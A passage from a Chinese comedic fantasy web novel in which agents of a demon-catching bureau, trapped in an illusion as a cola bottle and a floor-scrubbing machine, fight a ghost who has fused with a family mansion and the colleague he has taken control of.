两人当即求了各种符篆回家,勒令顾珂不准出门,却没想到千防万防还是没防住,顾珂偷跑出去花天酒地,没几个小时就车祸进了ICU,成了植物人。两人绝望之际,任大师主动上门,提出用红包借寿,为顾珂续命。一开始顾泉河他们当然不同意,可在任大师施展法术让他们看到顾珂的魂魄后,听着顾珂的哭泣,老两口终于还是走上了铤而走险害人性命的不归路。
介绍完来龙去脉,顾泉河满脸愁苦:“那红包全被你们局这俩小年轻捡走了,他们一个劲儿地打小珂,我们实在是没办法,才又设下这场筵席,想着趁机要把他们和小珂之间的联系切断。”
安庆兰想想这些天的提心吊胆,再想想今夜遭受的种种折磨,双目通红,哽咽了:“我发誓,我们真没坏心思!我们也不想害人,可小珂是我们唯一的孩子,他得活啊,我们,我们就只是散了些红包,别的什么也没做……”
安庆兰原本的贵妇姿态不复存在,仿佛一瞬间老了十岁,此时此时,她觉得自己只是个普通的伟大母亲。
辛姬刚蹲下,一听这话又站了起来,指着安庆兰一脸不耐烦:“呐呐呐呐呐!”
“你看她!都跟别人借寿了还敢打苦情牌?真想让孩子活怎么不把自己的寿挪给他?我这有路子,你要不要啊?”
这一连串的诘问堵得安庆兰喉头一哽,说不出话了,她只能将头埋得更深。
皮貅一言不发,不知道在心里算计着什么,辛姬眼珠滴溜溜转,一本正经地开口:
“他们俩这么坏,肯定是跟那个任大师串通好的,不然还是逼供吧。”
“这样,我吃一个,震慑一下剩下的那个,剩下的那个肯定什么都说。”
这法子好的嘞!
辛姬说着都开始流口水,没等皮貅应声,她直接举着爪子往顾氏老两口那边冲,还颇具人道主义气息地提出——
“哎,你们俩自己商量一下,谁来长眠。”
顾氏老两口简直要吓死了,眼看辛姬表情正经不似作伪,伪善的皮貅又毫无作为,俩人吓得一个劲儿往后缩。
“我们真不知道任大师跟小珂跑哪儿去了!真的!”
“救命啊……杀人了!”
顾泉河吱嗷一嗓子,这下皮貅总算动了——他一个箭步冲来,掐住辛姬的后脖领“啪”地往地上一甩,力道之大,辛姬瞬间就跟个烤化了的棉花糖似的狠狠糊在地上。
“我饿了,吃一口嫌犯怎么了?!”
辛姬出离愤怒,仰头怒吼,却见皮貅把食指凑到嘴边嘘了一声,转头看向四周,询问:“秦英呢?”
“这谁知道?呸!”
辛姬漫不经心地说着,吐出嘴里存在感相当强烈的异物。
皮貅眯眼细看,就见辛姬吐到地上的,赫然是一根泛着银光的蛛丝。
————
同一时间,顾氏后花园的茂密深林中,任大师叮呤咣啷一通搜罗,终于凑够东西摆了个简易阵法。
顾珂的躯壳被摆在阵法中央,郑清心则如一座高大威猛的门神站在旁边。
“那凶煞太强,又在这幻境设定下身份尊贵如鱼得水,所有人都被她驱使,单凭我自己压不住她,我现在立刻做法,让你与这顾家大宅融为一体,”任大师看向飘在半空中的顾珂,眼中闪过一抹深意,“到时候,你就是顾家大宅,顾家大宅就是你,幻境中的所有人都得受你驱使!”
受他驱使?
顾珂近三十年的人生中,可从没感受过这么至高权利的快乐,一瞬间魂儿都
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差点沸腾起来。
任大师闭着眼睛念出一长串晦涩咒语,随即猛地睁眼,看向顾珂:“我需要你的精血增强符咒,越多越好,你打算舍弃哪个身体部位?”
顾珂畅快一笑,还想抖个机灵:“阑尾。”
却没想任大师面不改色,直接掏出一把闪光大菜刀递给郑清心,简洁扼要:“掏吧。”
“等等!”顾珂眼见刀尖抵上了他身体的腹股沟,顿时一声惨叫,“先别动!我思考一下!”
任大师烦躁地啧了一声:“那你快点。”
顾珂情不自禁开始冒汗,掰着手指头细数没用的身体部位:“肠子?不行不行,要不少颗牙……算了,要不小拇指?小拇指吧!”
顾珂说完又顿了几秒,到底还不太想让这缺口暴露于人前,赶紧反悔:“要不还是小脚趾……”
他话还没说完,忽然听见“咔嚓”一声,顾珂抬头看去,正看见郑清心面无表情地提着那把尖刀,另一只手里攥着染血温热的小拇指。
两根。
与此同时,一股热流传到顾珂魂魄的小拇指上,他愣愣抬手,只见自己魂魄的小拇指像焦炭一样化为一阵黑烟,转瞬消散在空气中。
顾珂整个魂儿都呆住了:“……你干嘛?”
“你说要切小拇指,”郑清心眼球漆黑,比了个大拇指,浑然不觉自己的残暴,“以防万一,切两个。”
顾珂:“……”
三分钟后,顾珂的魂跪在阵边,无声地流着泪,任大师将两根小拇指摆在阵法中心,开始唱跳Rap。
任大师越跳节奏越快,顾珂的眼泪越流越汹涌。
任大师念出第一声咒语。
顾珂含泪抬眼,哽咽着问:“这个阵法有没有用啊?”
任大师念出第二声咒语。
顾珂看着自己的手掌,喃喃自语:“就算以后活过来……也变残缺了吧?”
任大师念出第三声咒语。
顾珂已经摆脱沉痛的情绪,只是忧郁:“有没有四指手套啊?哎,以后连手套都得定制了……”
任大师猛地睁眼,声音激昂:“阵法成!”
顾珂一张嘴,还想流泪,忽然一股强大的力量“唰”一下涌入他的体内,他瞬间感觉浑身被力量充盈,身体莫名强大,失去两根小拇指的悲痛也感受不到了。
恍惚间,他觉得整个院子……不,整个顾家的一草一木都变成了他的眼,他的手,他的小拇指,思想渐渐归于虚无,与此同时,整个顾家也在他激昂澎湃的意识下激动颤抖……
辛姬和皮貅还没跑出顾家大门,忽然感觉一阵地动山摇,整个顾家大宅都在颤动,地面如波浪般涌动,所有人的身体忽然如同橡皮泥般融化变形。
皮貅瞳孔震颤,大喊一声:“辛姬!蹲下!”
辛姬还以为有什么危险,“唰”地一下就蹲了下去,随即就感觉肩上一沉,她抬头一看,正看见皮貅展开双臂、鸟儿一样在空中滑翔,眼看就要飞出窗户。
自由就在眼前。
皮貅小嘴一歪,马上就要破窗而出,突然脚踝一沉,他扭头看去,正对上辛姬狞笑的脸。
“敢拿我当垫脚石?”辛姬直接一个同归于尽式拉扯,抱着皮貅的腿重重下坠,“下来吧你!”
“砰!”
两人一起重重摔在地上,辛姬到底身强体悍,蛄蛹着还想往窗边爬去,眼看自由只有一步之遥,旁边死了一般纹丝不动的皮貅忽然一个翻身。
他蓄积了半天的力量,就为此刻——皮貅两腿一蹬,踩着空气就朝辛姬撞去。
两颗脑袋“咣铛”一下撞在一起,辛姬只来得及瞪皮貅一眼,下一秒就晕死过去。
两人头对着头,宛如一对怨侣。
18. 爱上组长
整个顾家的震颤持续了一分钟,一分钟后,地动山摇的异动逐渐归于平静,后花园一片狼藉,到处都是根茎拔出土地的花花草草,唯有粗壮的大树还扎根在地上,秦英白净苍白的脸从枝叶里探了出来。
秦英趴在树杈上,脸上浮现爬虫特有的毛绒纹理,眼珠纯黑幽深,分明是个一米八几的大高个,却几乎要与周围的树枝融为一体,此时见不远处空空如也,刚刚还在跳大神的任大师等人全都不见了,秦英心底顿时产生一股寒意。
虽然他费力留了一些记号,但皮貅他们可不一定能及时赶来……不,皮貅的脑回路他可从没摸透过,对方发现记号后会不会赶来秦英都不确定,还是回去找他们汇合,再商量对策吧。
这么想着,秦颖一转身,忽觉脚下一空——
“唔——”
失重之际他低头看去,正对上一颗扬着狞笑的硕大人头,随即就被整个吞没。
漆黑,眩晕,头晕呕吐恶心……
辛姬好不容易回过神,才发现自己站在顾家大厅角落。
奇怪,顾家大厅好像变得有点不一样?
究竟哪儿不一样辛姬也说不出来,她往前走了几步,莫名感觉脚步丝滑,没走几步忽然撞倒了什么东西,她低头看去,就见地上立着一瓶2L大可乐。
谁能拒绝可乐的诱惑?哪怕是路边的野可乐。
辛姬当即弯腰想拿起来喝两口,却见可乐瓶忽然倒下去滚了两圈,瓶身上跟变戏法似的露出一张眉眼锋利的俊脸。
辛姬看着可乐瓶,可乐瓶看着辛姬。
不知为何,辛姬竟从那瓶可乐眼中看出了几分深情,她的心脏蓦地一颤,竟有几分心动。
啊,突然爱上了一瓶可乐,说出去谁信呢……可是爱情来来去去,总是不讲道理!
“这位美丽的可乐,”辛姬低声拉满气泡音,为撩可乐精简直卯足了浑身的劲儿,“为你的眼眸干杯~~~”
“……杯你大爷,”可乐瓶一开口,竟是皮貅欠揍的声音,“我是你组长!”
辛姬:“……”
今日爱上组长,她愿以死谢罪。
……或者杀了对方也行。
“我们又陷入幻境了,”皮貅根本没察觉辛姬这一瞬间复杂的心思,上下打量她一眼,声音中露出些许嫌弃,“还有,就算我变成可乐,也不会跟一个吸拖一体的洗地机约会。”
……什么洗地机?
辛姬后知后觉一低头,这才发现她竟然变成了一台洗地机,顿时凝眉敛目问出最关心的问题:“什么牌子的?是不是名牌啊?”
皮貅:“……”
“哈哈哈哈哈!怕了吧!你们根本逃不出这幻境!”
顾珂猖狂欠揍的冷笑声骤然响起,辛姬和皮貅立即警觉看向四周,却发现那道声音东一下西一下捉摸不定,在整个顾家大厅回荡,压根无法判断来源。
眼见一个洗地机一个可乐瓶东转西转找不着方向,顾珂显然更得意了。
“别费尽了,整个顾家已经和我融为一体,所有人都在我的肚子里!颤抖吧,恐惧吧,跪地求饶吧,你们这群——蝼蚁!”
话音刚落,顾家大厅立刻地动山摇,平整的地面如同浪花般激烈翻涌,墙面也变成了柔软晃动的幕布,所有家具移形换位左右摇摆。
皮貅和辛姬努力稳固身形的同时,就听周围传来阵阵惊呼。
“哎呀!怎么回事?”一道惊慌失措的男低音从电视机里传出,“我要站不住了!”
“别晃了别晃了!”空调也随着幕布飘荡瑟瑟发抖,“我快掉下去了!”
桌椅板凳,茶壶杯盖,所有家具都发出人的声音,现场顿时吵吵嚷嚷,一根麻绳趁乱毛虫一样拱过来,边拱还边大声道:“公主!我来保护你!”
“……”洗地机辛姬认出忠仆辛德的声音,一甩头上电线,冷傲开口,“麻绳,退下!”
“哎!”
麻绳应了一声,赶紧拱到辛姬身后,与此同时,一道高大威猛的身影自幕布后缓缓走出。
钢铁身躯坚不可摧,金属外壳散发着迷人光泽,举手投足间关节闪现滋啦滋啦的电流火花,赫然是擎T柱手办XXXXL真人等高版!
辛姬咋舌:“这恶鬼还真有脑子,给自己整这么强?!”
这钢铁之躯,是比她以前见过的那些墙里乱窜的小鬼厉害。
“哈哈哈哈!”擎T柱后方,一张巨大的脸顶着墙皮凸显出来,赫然是得意的顾珂,“怕了吧!”
擎T柱嘴巴一张,郑清心充满正气的声音也响了起来:“没错,邪不压正,你们绝对打不赢我们。”
辛姬怪笑一声:“撤回那句话,这恶鬼的脑子恐怕比我还不好使。”
否则能给队友整这么帅,却把自己困在墙里?
顾珂丝毫不在意敌对势力的轻视,他此刻已然沉浸在拥有绝对权力的快乐之中,压低声音阴森开口:“你们再厉害,变成这种样子也施展不出来了!祈祷吧——最好你们的身体能跟嘴一样硬!”
“动手!”
郑清心浑身一颤、应声而动,瞬间冲到了皮貅和辛姬面前抬手挥拳。
皮貅刚刚一声不吭,早给自己找好了退路,这会儿猛地倒下,咕噜咕噜一下子滚进了沙发底下,只留辛姬一人对着那蒲扇大的钢铁巴掌。
辛姬大惊,转身也想溜走,结果没跑出去几步就被一条铁腿横扫当场,脑袋一疼。
“哎哟!”
辛姬这会儿甚至还没熟悉自己的新形象,倒在地上半天起不来,直接受了一套暴风雨一样袭来的拳脚,被打得眼冒金星的同时还有心思苦中作乐地想——得亏是她,耐打扛揍的,要是那可乐瓶,今天非得给揍扁不可。
可她到底混过江湖,懂得什么是人情,什么是道义,今天就算被打死,她也不会背叛自己的同伴!
结果一转眼就对上了可乐瓶的眼。
皮貅就这么静静地看着辛姬挨打,眼看辛姬投来目光,他甚至一撇头,错开了目光。
辛姬:“……”
辛姬脑袋一甩,电线直指沙发下的可乐瓶:“擎老爷,您猜怎么着?八组组长在那儿呢!”
捉妖局里谁不知道郑清心对组长之位的执念?
果然,郑清心胸口猛然爆发出一股力量,一脚踢开沙发的同时不由自主抒发出内心最深处的渴望:“我要杀恶鬼!我要铲妖魔……”
“我要、我要成为八组组长!”
“你小子想篡位?!”
皮貅骨碌骨碌还想逃跑,闻言愣了一下,立刻又冲了回去,2L的沉重躯体爆发出惊人的弹跳能力,“咻”地一下窜到郑清心面前,同时瓶盖高速旋转,眼看就要爆发出一股邪恶力量。
“啪”!
郑清心大手一扬攥住可乐瓶,一下就给他瓶盖拧紧,随后一个丝滑的庄嫂摔碗,砰地一下将可乐砸到旁边桌上。
“呲——”
辛姬趴在地上,听见可乐瓶泄气的声音,仿佛皮貅将近的寿命,她到底于心不忍。
“擎老爷,就这样吧,别再让他遭
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受更多的折磨了,”辛姬慈悲道,“就这样让他死了算了。”
结果她这一出声,郑清心又注意到了她,转身大踏步走来。
“休想谋害公主!”
一条麻绳愤怒起跳,带着雷霆之怒直冲擎T柱的面门。
“啪!”
郑清心低头看看他掌心挣扎的麻绳,再看看缓缓爬走的洗地机和暴怒可乐瓶,思索了一下,忽然伸手把这几样东西都拿起来聚拢到一起。
辛姬逃到一半骤然失重,顿时表情一僵:“诶?咦……恶!!男人滚开!!!”
“得了便宜你就沉默吧!!!呃啊啊啊!!!”
皮貅被麻绳勒住脖子,直接两眼一翻,冒出一串弹舌音。
辛德不语,只是一味忍受折磨。
最终一切尘埃落定,任谁都无力回天。
郑清心退后一步,满意地看着自己的杰作——角落里,洗地机和可乐瓶被一根麻绳拴在一起,顶着个硕大的蝴蝶结,仿佛一份漂漂亮亮的超市大礼包。
“哈哈哈!”顾珂藏在墙里,笑得肚子都痛了,“做得好!这就是你们欺负我的代价!现在,把他们统统给我砸碎!”
郑清心伸手就要执行命令,然而一低头,看到这漂亮的超市大礼包,忽然改了主意,把电线插在插座上一按开关——
“嗡——嗡——”
洗地机火力全开,纸屑,吸!灰尘,吸!猫毛,吸!
这是什么刑法?!
辛姬惊讶地一张嘴,还没来得及发声,忽然被一团猫毛堵在了嗓子眼,顿时咳嗽起来:“咳咳咳!”
“哈哈哈!更爽了!”顾珂猖狂大笑,“现在,把他们砸碎!”
郑清心一关洗地机开关,有些不高兴了:“这些都还是好好的,干嘛砸坏?多浪费啊。就留着呗,你不想用,别人还得用呢。”
“你敢驳我的嘴?!”顾珂气急败坏,冲着郑清心大喊,“我叫你做什么你就做什么得了,快去干活!”
听到这话,郑清心心里那个不忿的劲一下子起来了。
干活干活,他天天干活!家里干不完的活还不都是他来干?不然有谁会搭把手?
想到这里,郑清心的语气不由得冰冷,连顾珂的脸都不想再看见,转身背对着他:“怎么干,我说了算。”
顾珂更加暴怒,朝着郑清心的背影一通乱吼:“你转过去干什么?你转过去干什么!你现在连我的话都不听了?!”
顾珂甚至一个嘴快,把平时对待顾氏老两口那套说辞也用了出来:“就是因为你总是这个样子,平时我才不想回家!”
“你吼我?”
郑清心高大威猛的身形一僵,铁汉亦有柔情,钢铁眼眶中竟蓄积出晶莹的机油来。
老实干活有活吗?老实本分有错吗?他这个样子拼命干活,还不是都为了这个家?!
这神似小夫妻吵架的一幕,瞬间抓住了辛姬的心神,她也不急着跑了,俩眼瞪得像铜铃:“别这样,别这样!大家过日子都是互相迁就嘛,有什么误会,你们放到台面上来说。”
皮貅扭头看了辛姬一眼:“这么热心,你到底跟谁站在一边?”
辛姬浑身一震。
她这辈子,总在期待着这一天,她嗓音坚定,沉声道:“跟正义,跟真理!”
“……”
皮貅深知,不能再嘲讽阴阳了——这个僵尸她脑子不好使,话说婉转了她根本听不懂。
皮貅直接提议:“结盟吧,弄死他俩,不然咱们都得玩完。”